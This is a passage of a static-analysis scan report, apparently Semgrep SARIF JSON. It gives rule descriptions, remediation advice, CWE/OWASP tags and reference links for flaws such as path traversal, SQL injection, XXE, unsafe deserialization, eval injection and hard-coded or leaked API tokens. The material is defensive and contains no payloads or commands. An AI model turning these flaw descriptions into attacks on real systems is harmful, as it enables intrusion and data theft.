or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","id":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","name":"python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fs-fastapi.tainted-path-traversal-fs-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","id":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","name":"javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-pool-hardcoded-secret.node-pg-pool-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string","id":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","name":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval-format-string.user-eval-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"help":{"markdown":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)\n","text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","id":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","name":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"help":{"markdown":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","id":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","name":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","id":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","name":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"help":{"markdown":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder","id":"java.lang.security.audit.xml-decoder.xml-decoder","name":"java.lang.security.audit.xml-decoder.xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-decoder.xml-decoder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Onfido live API Token detected"},"help":{"markdown":"Onfido live API Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token)\n - [https://documentation.onfido.com/api/latest/#api-tokens](https://documentation.onfido.com/api/latest/#api-tokens)\n","text":"Onfido live API Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","id":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","name":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","id":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","name":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli","id":"java.spring.security.jpa-sqli.jpa-sqli","name":"java.spring.security.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"help":{"markdown":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","id":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","name":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"help":{"markdown":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected)\n - [https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping](https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping)\n - [https://jinja.palletsprojects.com/en/2.11.x/intro/#](https://jinja.palletsprojects.com/en/2.11.x/intro/#)\n","text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected","id":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","name":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.mako-templates-detected.mako-templates-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate](https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"help":{"markdown":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow)\n","text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos","id":"cpp.lang.security.strings.std-string-npos.std-string-npos","name":"cpp.lang.security.strings.std-string-npos.std-string-npos","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.std-string-npos.std-string-npos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - 